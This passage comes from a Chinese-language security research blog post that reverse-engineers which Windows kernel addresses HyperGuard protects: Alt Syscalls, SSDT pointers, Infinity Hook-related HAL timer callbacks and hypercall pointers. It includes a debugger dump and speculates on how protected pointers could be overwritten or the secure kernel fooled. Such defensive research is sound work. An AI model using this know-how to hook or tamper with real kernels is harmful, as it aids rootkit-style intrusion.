0.05);border-radius: 3px;"><span leaf="">MmSystemRangeStart</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MmHighestUserAddress</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HvcallCodeVa</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PsWin32NullCallBack</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspSystemMitigationOptions</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KdpBootedNodebug</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiDynamicTraceEnabled</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KiDynamicTraceCallouts</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HvlpHypercallCodeVa</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HvlpVsmVtlCallVa</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">MaxDataSize</span></code><p><span leaf="">（通过 Ida 解析，在 windbg 中无法解析，位于名字奇特的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ALMOSTRO</span></code><span leaf="">节中，almost read-only？差不多只读？:D :D）</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">xref in nt!KiSwInterruptDispatch</span></code><p><span leaf="">（未标注符号）</span></p></li></ul><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Alt Syscalls</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">看到 Alt Syscalls 出现在列表中，着实令人高兴！我之前逆向分析过 Windows 11 上 Alt Syscalls 的变更，当时我还不太确定 HVCI 如何与它们交互。多亏了我的朋友 Xacone，他发现我的新技术中使用的地址受 HVCI 保护，这意味着当 HVCI 启用时，它阻止你写入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspServiceDescriptorGroupTable</span></code><span leaf="">——然而，微软在这里保护的是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PsAltSystemCallHandlers</span></code><span leaf="">，这是旧（25H2 之前）用于 Alt Syscalls 的地址；因此我的推测是：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PspServiceDescriptorGroupTable</span></code><span leaf="">的旧技术，</span><strong><span leaf="">我怀疑</span></strong><span leaf="">已被回溯移植了保护（即我们这里讨论的这个）（或者也许它早就存在了），通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel.exe</span></code><span leaf="">中的 HyperGuard 来监控该地址是否被篡改..而新技术则通过 HVCI 来保护，这确实很巧妙！</span><em><span leaf="">干得漂亮，微软</span></em><span leaf="">！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果我没记错的话，我在这里看不到 HyperGuard 为 Alt Syscalls（25H2）保护的任何回调，所以 SLAT 保护应该已经足够了，但这绝对是一个值得进一步研究的领域，既然我们现在能在 HyperGuard 中看到它。我想我会花些时间逆向分析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel.exe</span></code><span leaf="">中的 Alt Syscalls，看看能发现什么！上次我研究时，你可以注册一个驱动程序成为 Alt Syscall 提供者，但这需要微软的某种形式的认证（超出常规驱动认证之上），而且无法通过 Vsl 调用安全内核来禁用完整性检查等以完成注册。具体细节我记不清了，但安全内核侧确实运行着某种代码完整性检查。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">系统调用表</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不出所料，NT 系统服务分发表（SSDT）受 HyperGuard 保护，首先是表的高层指针：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTable</span></code></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTable+0x20</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">KeServiceDescriptorTableFilter</span></code></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我还没有研究 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">win32k!W32pServiceTable</span></code><span leaf="">是否受保护。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">眼尖的读者可能注意到 SSDT 表</span><strong><span leaf="">本身</span></strong><span leaf="">并不在列表中，这是设计使然，因为实际的表位于我们上面发现的受保护 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.rdata</span></code><span leaf="">节内，所以它们已被 HyperGuard 妥善保护：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013103" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.5879629629629629" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e7ed79c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSj1AicutqSKibYgOLVgflUJiaFbYTG8Q2p6QiblXyPGOegYE2Jia4Gd4VTySDOQBHRKibiaiaBK4JXBL5LTbVQV22qoAusBFhMicA7oPuX4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Infinity Hook 相关</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们还可以看到一些与 Infinity Hook 相关的函数——一个例子是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">nt!EtwpGetHostPerfCounter</span></code><span leaf="">内部的回调，实际上在虚拟地址 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0xfffff802a9800c20</span></code><span leaf="">处有一个 HyperGuard </span><strong><span leaf="">SKPG_EXTENT</span></strong><span leaf="">目标，我在 Ida 中应用了几次偏移计算后，得到了一个未标注的符号：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">off_140E00C20</span></code><span leaf="">，它在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EtwpGetHostPerfCounter</span></code><span leaf="">中有一个交叉引用。该地址在我的实时镜像中存储的值为：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">kd&gt; dqs fffff802a9800c20</span><br/><span leaf="">fffff802`a9800c20  fffff802`a8f38eb0 nt!HalpTimerQueryHostPerformanceCounter</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们可以看到它在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EtwpGetHostPerfCounter</span></code><span leaf="">中的相关性：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013104" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.894484412470024" data-w="417" src="https://wechat2rss.xlab.app/img-proxy/?k=3ed73123&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjIy9bEhPzcz2icTnhXic5VHqA2F3wYKMwGm5jvibibKUcUfguCia75ibbsgwr8d15oicUiategf3aVDicoXZHHQVOXdaw4EBlmzyk8HpKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">覆盖此指针可能允许攻击者将代码执行重定向到自己的回调，从而实现内核系统调用挂钩。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们上面的列表中还有一些其他被监控的地址，它们在某种程度上也交织在 </span><strong><span leaf="">Infinity Hook</span></strong><span leaf="">式的系统调用挂钩中，所以我</span><em><span leaf="">认为</span></em><span leaf="">这就是他们从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">VTL1</span></code><span leaf="">保护该攻击面的实现方式（那些与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Hal</span></code><span leaf="">等相关的地址）。仅个人观点^^。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最初的 Infinity Hook 实现使用的是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetCpuClock</span></code><span leaf="">，后来被封堵，随后演变为 HAL 计时回调成为后继攻击面。因此 SKPG 的保护与针对 </span><strong><span leaf="">InfinityHook</span></strong><span leaf="">类型攻击的加固是一致的。也许这些保护还有其他我不知道的原因，如果你知道其他利用这些机制的酷方法，请告诉我！</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Hv 系列</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，还有一些与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Hv*</span></code><span leaf="">函数相关的被监控地址，这些函数涉及内核需要发起 Hyper-V hypercall 时使用的 hypercall 桩。如果这些地址被篡改，攻击者可能将间接通过被篡改的 hypercall 指针的调用点重定向到任意代码。所以，这与系统调用挂钩确实类似。Hypervisor 挂钩不是我有经验的领域，但我很乐意了解更多。在这里，你可以看到被监控的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HvcallCodeVa</span></code><span leaf="">的交叉引用：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013105" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.4" data-w="980" src="https://wechat2rss.xlab.app/img-proxy/?k=22c78c90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaQHlKwu2U0ibM0FHqwnkaY7KqxfMUtf9sEXHp68jw3ghssZ2UjYc0WfpC1kH63yXJKylLHVUK07icwHCxnfxLk8sM639icwk3dsY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013106" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.475" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=bfef6eb1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaQguXVpicfGBkAktdfw0ZWtNAYYx1VrCAgpehk6dIZ4ibD58MerWMQt7JZU3YNrPeiang9mEI6O0Ayhg3ZKNQGpQkVEYzhCWGK3E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HvcallCodeVa</span></code><span leaf="">在我的实时快照中为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">zero</span></code><span leaf="">。因为一些调用点间接通过它，这些路径必须要么被门控，要么仅在特定配置下初始化，要么被另一个 hypercall 指针取代，例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HvlpHypercallCodeVa</span></code><span leaf="">。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">疑问</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">因此，关于 HyperGuard 的内部机制，我还有一些想在运行时尝试验证的问题：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">当我们写入受 HyperGuard 保护的内容时会发生什么？每个受保护的地址是否都需要一个门控来询问&#34;HVCI 是否启用？&#34;，然后如果你想修改它，修改操作是否在安全内核中进行？实际上，这样它就可以重新计算哈希？</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">我们能否通过伪装成合法调用者来有效篡改受 HyperGuard 保护的内容？这需要大量工作来试图混淆 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">securekernel</span></code><span leaf="">中的某些函数，这只是我写文章时的一个假设性想法。我确信这个边界非常安全，但尝试一下也无妨！</span></p></li></ol><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: 